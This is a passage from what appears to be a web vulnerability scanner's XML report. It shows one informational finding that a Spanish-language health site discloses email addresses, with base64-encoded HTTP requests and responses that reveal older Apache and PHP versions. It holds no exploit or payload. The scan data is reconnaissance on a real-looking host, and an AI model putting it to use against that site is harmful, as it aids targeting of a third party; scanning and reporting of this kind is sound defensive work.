RzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
165 <responseRedirected>false</responseRedirected>
166 </requestresponse>
167 </issue>
168 <issue>
169 <serialNumber>8637745207739944960</serialNumber>
170 <type>6291968</type>
171 <name>Email addresses disclosed</name>
172 <host ip="200.20.20.201">http://www.example.org.ar</host>
173 <path><![CDATA[/index.php]]></path>
174 <location><![CDATA[/index.php]]></location>
175 <severity>Information</severity>
176 <confidence>Certain</confidence>
177 <issueBackground><![CDATA[The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.<br><br>However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.]]></issueBackground>
178 <remediationBackground><![CDATA[You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as [email protected]).]]></remediationBackground>
179 <issueDetail><![CDATA[The following email addresses were disclosed in the response:<ul><li>[email protected]</li><li>[email protected]</li></ul>]]></issueDetail>
180 <requestresponse>
181 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
182 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iO